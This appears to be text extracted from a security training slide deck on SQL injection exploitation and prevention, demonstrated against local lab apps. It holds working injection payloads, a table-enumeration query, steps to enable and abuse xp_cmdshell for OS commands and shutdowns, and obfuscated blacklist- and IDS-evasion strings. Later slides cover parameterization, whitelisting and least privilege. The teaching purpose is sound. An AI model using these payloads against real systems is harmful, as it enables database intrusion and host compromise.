58
Devouring Security Sqli Exploitation & prevention Part 1 & 2 Marudhamaran Gunasekaran Watch the screen recording of this presentation at Devouring Security – Sql Injection Part 1 - http://vimeo.com/83658524 Devouring Security – Sql Injection Part 2 – http://vimeo.com/85256464

Devouring Security Sqli Exploitation and Prevention

Embed Size (px)

DESCRIPTION

Devouring Security Sqli is an exploitation and prevention presentation that I did a while back. The presentation accompanies a screen recording which could be located at http://vimeo.com/gmaran23

Citation preview

Page 1: Devouring Security Sqli Exploitation and Prevention

Devouring Security

Sqli Exploitation & prevention

Part 1 & 2

Marudhamaran Gunasekaran

Watch the screen recording of this presentation at

Devouring Security – Sql Injection Part 1 - http://vimeo.com/83658524 Devouring Security – Sql Injection Part 2 – http://vimeo.com/85256464

Page 2: Devouring Security Sqli Exploitation and Prevention

Security

FeelingReality

Trade offsWisdom

Ignorance is no excuse

Page 3: Devouring Security Sqli Exploitation and Prevention

Disclaimer

Techniques and Tools in this presentation should be used or applied on an application, only with prior consent of the application’s owner.

Illegal otherwise.

Page 4: Devouring Security Sqli Exploitation and Prevention

Sqli – Media coveragehttp://pastebin.com

/HU

jZP

aF3

Page 5: Devouring Security Sqli Exploitation and Prevention

Sqli – Media coveragehttp://thepiratebay.se/torrent/6443601

Page 6: Devouring Security Sqli Exploitation and Prevention

Sqli – Media coveragehttp://w

ww

.bloomberg.com

/news/2013-01-24/sony-fined-394-000-over-2011-hacker-attack-on-playstation-data.htm

l

Page 7: Devouring Security Sqli Exploitation and Prevention

Sqli – Media coverage http://ww

w.eteknix.com

/turkish-hackers-claim-to-have-leaked-40000-sony-italy-account-details/

Page 8: Devouring Security Sqli Exploitation and Prevention

Sqli – Media coveragehttp://new

s.techworld.com

/security/3331283/barclays-97-percent-of-data-breaches-still-due-to-sql-injection/

Page 9: Devouring Security Sqli Exploitation and Prevention

Sqli – MediaCoverage

Page 10: Devouring Security Sqli Exploitation and Prevention

Sqli – Why does it exist?Yeah! I can develop/deploy without restrictions , I have full access.

Thanks bro! I am your uninvited database administrator now. I owe you, and your data.

I like them admin rights

Page 11: Devouring Security Sqli Exploitation and Prevention

Sqli – Why does it exist?

Conglomeration of Sensitive Data

Would you keep all your belongings in your home, or would you keep some in your safe deposit box?

Blindly Trusting Unsanitized User Input

"Over thousands of queries in a moderate- to large-size application, that 2% can result in a handful of SQL injections," Chou says. "All an attacker needs to do is find one of these, and you'll have millions of records stolen and a headline in Dark Reading.“

Page 12: Devouring Security Sqli Exploitation and Prevention

Sqli – Why does it exist?

• It’s not always about a developer knowing better, there are tons and tons of legacy code• Remember, DBA’s write SQL too• No strict access control policies• Windows based/Desktop based applications are

directly ported to the web• Developer’s still don’t know the complete truths

about Sqli

Page 13: Devouring Security Sqli Exploitation and Prevention

Sqli 101

../Products?name=ratSELECT 1 FROM Products WHERE ProductName =

‘rat‘

../Products?name=rat‘ or 1=1 --

SELECT 1 FROM Products WHERE ProductName = ‘rat’ or 1=1 -- ’

or true

Page 14: Devouring Security Sqli Exploitation and Prevention

Sqli 101

• http://sqli:8020/Sqli/

• http://localhost/WebGoat/attack?Screen=147&menu=1100&stage=1

Page 15: Devouring Security Sqli Exploitation and Prevention

Sqli U

Page 16: Devouring Security Sqli Exploitation and Prevention

Sqli U

http://sqli:8020/Sqli/ProductSearch

Page 17: Devouring Security Sqli Exploitation and Prevention

Sqli E

Page 18: Devouring Security Sqli Exploitation and Prevention

Sqli E

http://sqli:8020/SqliErrorRiddle/

Page 19: Devouring Security Sqli Exploitation and Prevention

Sqli E-- table enumeratorSELECT TOP 1 Convert(INT, NAME)FROM sys.tablesWHERE object_id = (

SELECT TOP 1 object_idFROM (

SELECT TOP 2 object_idFROM sys.tablesORDER BY object_id) AS TEMP

ORDER BY object_id DESC)

Enumerating in MySQl is very easy with OFFSET.

Page 20: Devouring Security Sqli Exploitation and Prevention

ORMs and SPs Loopholes

http://sqli:8020/SqliORM/ProductSearch

Page 21: Devouring Security Sqli Exploitation and Prevention

It’s not an ORM’s problem to have you loaded with features

ALTER PROCEDURE SearchProducts (@Item VARCHAR(100))ASBEGIN

DECLARE @query VARCHAR(400)

SET @query = 'SELECT * FROM Products WHERE ProductName LIKE ''%' + @Item + '%'''

PRINT @query

EXEC (@query)ENDGO----------------------------------------------------------------------------------------------- Execute goodEXEC SearchProducts 'chai'GO-- Execute badEXEC SearchProducts 'chai%'' or 1=1--'GO

Page 22: Devouring Security Sqli Exploitation and Prevention

Fixing SP LoopholesALTER PROCEDURE SearchProductsBetter (@Item VARCHAR(200))ASBEGIN

DECLARE @safequery NVARCHAR(400)DECLARE @params NVARCHAR(200)

SET @safequery = N'SELECT * FROM Products WHERE ProductName LIKE ''%'' + @param1 + ''%'''

SET @params = N'@param1 NVARCHAR(200)‘;

EXECUTE SP_EXECUTESQL @safequery,@params,@param1 = @Item

ENDGO----------------------------------------------------------------------------------------------- Execute badEXEC SearchProductsBetter 'chai%'' or 1=1--'GO

Page 23: Devouring Security Sqli Exploitation and Prevention

Profiling Host OS

• Privilege misuse and rooting

Page 24: Devouring Security Sqli Exploitation and Prevention

Profiling Host OS

-- enable command shellEXEC sp_configure 'show advanced options',

1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- disable command shellEXEC sp_configure 'show advanced options',

1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

Page 25: Devouring Security Sqli Exploitation and Prevention

Profiling Host OS

-- play time!exec xp_cmdshell 'tasklist‘

exec master.dbo.xp_cmdshell 'whoami‘

exec xp_cmdshell 'netsh advfirewall firewall show rule name=all profile=public'

Page 26: Devouring Security Sqli Exploitation and Prevention

Profiling Host OS

-- enumerate and remove tracecreate table tempsz(temp varchar(MAX));insert into tempsz exec

xp_cmdshell 'tasklist';select * from tempsz;drop table tempsz;

-- enumerate and leave tracecreate table tempsz(temp varchar(MAX));insert into tempsz exec

xp_cmdshell 'tasklist';

-- get enumerated information and remove traceselect temp from tempsz;drop table tempsz;

Page 27: Devouring Security Sqli Exploitation and Prevention

Profiling Host OS

-- schedule a shutdown and send message to the user named maran

exec xp_cmdshell 'shutdown -s -t 6000'; exec xp_cmdshell 'msg maran You will be shut down in 100 minutes'

-- abort the shutdown and send message to the user named maran

exec xp_cmdshell 'shutdown -a'; exec xp_cmdshell 'msg maran I have heard your prayer. You are salvaged'

Page 28: Devouring Security Sqli Exploitation and Prevention

Profiling Host OS

OSCommand_Run in Oracle does the equivalent of xp_cmdshell in Sql server.

Page 29: Devouring Security Sqli Exploitation and Prevention

Sqli T

Just biding time, my friend

Page 30: Devouring Security Sqli Exploitation and Prevention

Sqli T

OracleDBMS_LOCK.sleep

TSql

WAIT FOR DELAY

MySqlBENCHMARK

Page 31: Devouring Security Sqli Exploitation and Prevention

Sqli BBlind, but I could get by

Page 32: Devouring Security Sqli Exploitation and Prevention

Sqli BBlind, not as fast, but I could travel miles

Page 33: Devouring Security Sqli Exploitation and Prevention

IDS Evasive Techniques

‘485’=“485”‘5’>’1’“QSNR”=“QSNR”REPLACE('SEL/**/CT', '/**/', '')

Page 34: Devouring Security Sqli Exploitation and Prevention

Blacklist Filter Evasion

';exec xP_cMdsheLL 'dir';--

';ex/**/ec xp_cmds/**/hell 'dir';-- [old versions]

';exec/**/xp_cmdshell/**/'dir';--

';Declare @cmd as varchar(3000);Set @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+''''+'d'+'i'+'r'+'''';exec(@cmd);--

Page 35: Devouring Security Sqli Exploitation and Prevention

Blacklist Filter Evasion Declare @cmd as varchar(3000);Set @cmd

=(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);--

EXEC (exec master..xp_cmdshell 'dir')

Page 36: Devouring Security Sqli Exploitation and Prevention

Sqli Exploitation tools

• Sqlmap• sqlninja• Safe3SI• Enema• Havij• Pangolin• BSQL Hacker……………………. and a lot more

Page 37: Devouring Security Sqli Exploitation and Prevention

Sqli Exploitation tools

Demonstration

1.Safe3SI2.Enema3.Sqlmap

Page 38: Devouring Security Sqli Exploitation and Prevention

Sqli Feeble Fixes

Blacklisting is suicide

IDSs are not very effective for Sqli

Page 39: Devouring Security Sqli Exploitation and Prevention

Feeble Fixes

Blacklisting

(can’t filter all possible dangerous inputs like below)

“QSNR”=“QSNR”REPLACE('SEL/**/CT', '/**/', '')

Page 40: Devouring Security Sqli Exploitation and Prevention

Blacklisting for Death

Page 41: Devouring Security Sqli Exploitation and Prevention

Blacklisting for Death

Page 42: Devouring Security Sqli Exploitation and Prevention

Blacklisting for Death

Page 43: Devouring Security Sqli Exploitation and Prevention
Page 44: Devouring Security Sqli Exploitation and Prevention

Sqli Prevention

Page 45: Devouring Security Sqli Exploitation and Prevention

Sqli Prevention

Exploitation toolsFuzzers Active/Passive vulnerability scanners

Page 46: Devouring Security Sqli Exploitation and Prevention

Core Defense

Input Validation with Whitelist, Type casting or/and RegEx.

Page 47: Devouring Security Sqli Exploitation and Prevention

Core Defense Validation with RegEx

Page 48: Devouring Security Sqli Exploitation and Prevention

Core DefenseCREATE PROCEDURE dbo.doQuery (@id NCHAR(4))ASDECLARE @query NCHAR(64)

IF RTRIM(@id) LIKE '[0-9][0-9][0-9][0-9]'BEGIN

SELECT @query = 'select ccnum from cust where id = ''' + @id + ''''

EXEC @queryEND

RETURN

-- Or, better yet, force an interger parameter

CREATE PROCEDURE dbo.doQuery(@id smallint)

Page 49: Devouring Security Sqli Exploitation and Prevention

Core Defense

Parametrization a.k.a prepared statements

[refer to your framework for support]

Page 50: Devouring Security Sqli Exploitation and Prevention

Core Defense

Encrypt data to prevent disclosure when physical database files are stolen.

1. Encryption does not do a darn thing to protect you from direct Sqli2. Encryption only protects you from Sqli induced attacks

Page 51: Devouring Security Sqli Exploitation and Prevention

Core Defense

Database user account audits

1. Selective privilege principle2. Least privilege principle

Page 52: Devouring Security Sqli Exploitation and Prevention

Code Reviews - Spot and Stop Sqli

Page 53: Devouring Security Sqli Exploitation and Prevention

Code Reviews - Spot and Stop Sqli

Page 54: Devouring Security Sqli Exploitation and Prevention

CAT.Net Sqli Scan

Page 55: Devouring Security Sqli Exploitation and Prevention

CAT.Net Sqli Scan

MicrosoftACECodeAnalysisReport.htm

Page 56: Devouring Security Sqli Exploitation and Prevention

Netsparker community edition

Page 57: Devouring Security Sqli Exploitation and Prevention

What now?

Sqli Cheatsheet - http://ferruh.mavituna.com/sql-injection-

cheatsheet-oku Dynamic queries in T-SQL - http://www.sommarskog.se/dyn-search-

2005.htmlhttp://www.sommarskog.se/dyn-search-

2008.html

Page 58: Devouring Security Sqli Exploitation and Prevention

End of the world

Watch the screen recording of this presentation at my vimeo channel

Devouring Security – Sql Injection Part 1 - http://vimeo.com/83658524

Devouring Security – Sql Injection Part 2 – http://vimeo.com/85256464